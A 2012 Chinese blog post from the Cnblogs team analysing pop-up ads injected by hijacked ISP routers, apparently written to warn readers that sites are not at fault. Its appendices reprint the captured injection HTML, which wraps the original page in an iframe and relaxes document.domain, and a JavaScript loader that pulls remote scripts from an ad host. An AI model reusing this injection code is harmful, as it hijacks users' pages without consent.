究竟是谁弹出的窗

博文说明

写这篇博客的目的是让更多人知道,遇到这样的情况时可能与运营商有关,不要责怪网站,网站也是受害者。 

遭遇弹窗

这两天遇到一个奇怪的问题,逛园子时浏览器经常被弹窗,窗中自然是广告商。

不管是在宿舍还是在办公室,不管是是在早上还是在晚上,不管是用Chrome/Firefox还是用IE,都会出现那扇窗。

被弹窗,很不爽;很想打开窗,看看制造商。

窗的特点

Flash打造,总是出现在浏览器的右下角,窗的右上角有个“X”关闭按钮。

弹窗症状

除了那扇让人讨厌的窗,当前访问的网址被嵌入到iframe中;有时会造成浏览器Tab中的页面标题消失;如果用的是IE浏览器,刷新后当前页面会乱码(弹窗时浏览器编码被改为了GB2312,如果当前页面用的是UTF-8编码,就会乱码)。

弹窗追踪

当时IE出现的频率比较高,于是按F12打开IE的Developer tools,选择Network,点击Start capturing,等待弹窗。。。

一弹窗,当场抓。

图1:

图2:

图3:

图4:

图5:

【弹窗过程分析】

当你在浏览器中输入网址后,浏览器首先通过DNS服务器将网址解析为IP地址,然后向目标IP地址发送请求,而这时就要经过一个个路由器;

弹窗者通过某个路由器拦路抢劫浏览器发出的请求,用包含弹窗代码的HTML页面直接返回,请求根本没有到达目标IP;

弹窗者在返回的页面中会加上iframe代码并指向原始网址,不仅拦路抢劫,而且嫁祸于人,让用户误以为是网站弹的窗。

弹窗危害

不仅严重干扰了用户的互联网生活,而且严重干扰了网站的正常服务。更严重的是,不了解情况的用户误以为是网站弹的窗,而网站只能望窗心叹,一点办法没有。

弹后感

究竟谁这么强?控制了路由器还敢弹窗?

究竟谁这么流氓?为了赚钱让用户如此不爽?

反弹窗

方法一:向运营商举报有人控制了他们的路由器在弹窗,让他们赶紧防。

方法二:运营商工作忙,哪有工夫反弹窗,程序员们来帮忙,开发插件防弹窗。

【附一】

早上在写博客的时候,在Chrome中抓到的弹窗广告的完整HTML代码:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="Expires" content="-1">
<title></title>
<style type="text/css">
body {
margin: 0px;
padding: 0px;
overflow: hidden;
}
</style>
</head>
<body>
<iframe id="iframe279874858211" name="iframe279874858211" width="0" height="0" style="display: none; background-color: transparent;" 
allowtransparency="true" frameborder="0" scrolling="no"></iframe>
<div id="poet_container" style="position: absolute; z-index: 2147483647; bottom: 0px; right: 17px; display: block; overflow: hidden; 
    width: 300px; height: 270px; background-color: transparent;">
    <div id="poet_normal_container" style="display: block; overflow: hidden; width: 300px; height: 270px; background-color: transparent;">
        <object id="poet_normal_media" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" 
        codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="300" height="270">
        <param name="movie" value="http://www.84787111.com/12052401//media/normal_outer.swf">
        <param name="quality" value="high"><param name="wmode" value="transparent">
        <param name="menu" value="false">
        <param name="allowfullscreen" value="false">
        <param name="allowscriptaccess" value="always">
            <embed name="poet_normal_media" src="http://www.84787111.com/12052401//media/normal_outer.swf" quality="high" 
            pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" 
            width="300" height="270" wmode="transparent" allowfullscreen="false" allowscriptaccess="always">
        </object>
    </div>
</div>
<iframe id="iframecounter279874856493" name="iframecounter279874856493" width="0" height="0" style="display: none; background-color: transparent;" 
allowtransparency="true" frameborder="0" scrolling="no"></iframe>
<iframe id="fulliframe" name="fulliframe" src="" width="100%" height="100%" marginheight="0" marginwidth="0" frameborder="0"></iframe>
<script language="javascript" type="text/javascript">
function dB() {
    var uA = navigator.userAgent;
    if ((uA.indexOf("Firefox") > -1) || (uA.indexOf("Opera") > -1)) {
        frames[0].location = window.location + '?';
    } else {
        frames[0].location = window.location;
    };
};
dB();
function c() {
    try {
        var f = frames[0]; 
        var d = f.document;
        (function (s) { })(d.readyState);
        if (d && ('complete' == d.readyState)) {
            document.title = d.title ? d.title : ''; ;
        } else {
            setTimeout('c()', 10);
        }
    } catch (ex) {
        try {
            document.domain = document.domain.replace(/^\w+\./, '');
            c(); 
        } catch (ex) { }
    };
};
c();
</script>
<script id="poet_ctrl_o" language="javascript" type="text/javascript"></script>
<script id="poet_ctrl_2015919" type="text/javascript"></script>
<script id="poet_ctrl_9167158" type="text/javascript"></script>
</body>
</html>

【附二】

在IE中抓到的引用自61.172.192.71的弹窗广告js代码:

(function () {
    var POET = window.POET = window.POET || {};
    POET.PUSH = 'adc';
    function createScript(src) {
        var script = document.createElement('script');
        script.id = 'poet_ctrl_' + Math.floor(Math.random() * 10000000);
        script.src = src;
        script.type = 'text/javascript';
        document.body.appendChild(script);
    }
    createScript('http://www.84787111.com/12060811ad/images/asd.js');
    createScript('http://www.84787111.com/12061103btad/images/asd.js'); 
})();
posted @ 2012-06-14 08:51  博客园团队  阅读(13180)  评论(53编辑  收藏